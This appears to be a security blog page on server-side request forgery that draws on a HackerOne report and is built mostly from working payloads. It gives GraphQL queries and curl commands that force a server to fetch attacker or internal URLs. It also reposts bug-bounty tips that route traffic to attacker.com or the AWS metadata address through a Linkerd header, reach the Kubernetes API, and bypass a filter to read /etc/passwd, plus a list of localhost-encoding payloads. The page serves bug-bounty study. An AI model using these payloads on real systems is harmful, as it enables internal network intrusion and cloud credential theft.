Page cover

🀯Understanding SSRF Vulnerabilities and Their Impact

Ref: https://hackerone.com/reports/1864188

βœ–οΈ Twitter πŸ”— Linkedin πŸ“Ί Telegram πŸŽ‰ Instagram

Server-Side Request Forgery (SSRF) is a critical security vulnerability that allows attackers to send unauthorized requests from the server to other internal or external resources. In this article, we will analyze some examples of SSRF queries and curl commands to better comprehend the severity of this issue.

SSRF Request with GraphQL Query Parameter

query {
  allTicks(symbol:"TSLA", source:"https://[COLLABORATOR_DOMAIN]/") {
    symbol
    server
    source
    ask
    time
    bid
  }
}
curl -v "https://xxxx.xxx.com/" -H "Content-Type: application/json" --data '{"query":"query { allTicks(symbol:\"TSLA\", source:\"https://[COLLABORATOR_DOMAIN]/\"){ symbol server source ask time bid } }"}'

In this example, the GraphQL query contains a vulnerable parameter source that accepts a URL. An attacker can manipulate this URL to make the server send a request to their controlled domain, referred to as [COLLABORATOR_DOMAIN], potentially leading to data leakage or unauthorized access.

SSRF Request with GET Parameters inside GraphQL JSON

query {
  allTicks(symbol:"TSLA", source:"https://[COLLABORATOR_DOMAIN]/?do=something&") {
    symbol
    server
    source
    ask
    time
    bid
  }
}
curl -v "https://xxxx.xx.com/" -H "Content-Type: application/json" --data '{"query":"query { allTicks(symbol:\"TSLA\", source:\"https://[COLLABORATOR_DOMAIN]//?do=something&\"){ symbol server source ask time bid } }"}'

Here, the GraphQL query includes GET parameters in the URL. An attacker can exploit this by modifying the parameters and potentially impacting the behavior of the server, leading to various security risks.

SSRF Request to Internal Host

query {
  allTicks(symbol:"TSLA", source:"https://β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/?") {
    symbol
    server
    source
    ask
    time
    bid
  }
}
curl -v "https://xxxx.xxx.com/" -H "Content-Type: application/json" --data '{"query":"query { allTicks(symbol:\"TSLA\", source:\"https://https://β–ˆβ–ˆβ–ˆβ–ˆ/?\"){ symbol server source ask time bid } }"}'
# A tip onn ssrf from Twitter
#bugbountytip Found Linkerd service (look for headers such as β€œVia: linkerd” or β€œl5d-*”)? Try SSRF by overriding dtab via request header, e.g. β€œl5d-dtab: /svc/* => /$/inet/attacker.com/80” to reach your server or β€œl5d-dtab: /svc/* => /$/inet/169.254.169.254/80” for AWS metadata.

#Bugbountytip Got a SSRF? no metadata endpoints to hit? Try https://kubernetes.default.svc/metrics if you get a load crap come back jackpot you've hit the kubernetes API and this should indicate it's shit the bed time for any security team. (url can change)

SSRF are ❀️

file:///etc/passwd : Not authorized
file://\/\/etc/passwd : Work πŸ˜€

#BugBounty

SSRF payloads
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ 
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ http://192.168.0.1
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1
HTTP
ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443
#kongsec

If you have a blind SSRF that can only read images (but for some reason can't read ICO files), try and find Confluence running on the internal network and request /images/icons/linkext7.gif to prove that you can access internal resources

In this instance, the GraphQL query includes a modified URL with the placeholder β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ, suggesting an attempt to perform an SSRF request to an internal host. If successful, this could expose sensitive information or services running on the internal network.

Conclusion

SSRF vulnerabilities are serious threats that require immediate attention from developers and security teams. To mitigate SSRF risks, it is essential to validate and sanitize user-provided URLs and limit access to sensitive internal resources.

Remember, proactive security measures and regular vulnerability assessments are crucial in maintaining a robust and secure web application. Stay vigilant, and always prioritize cybersecurity to protect both your users and your organization.


Last updated

Was this helpful?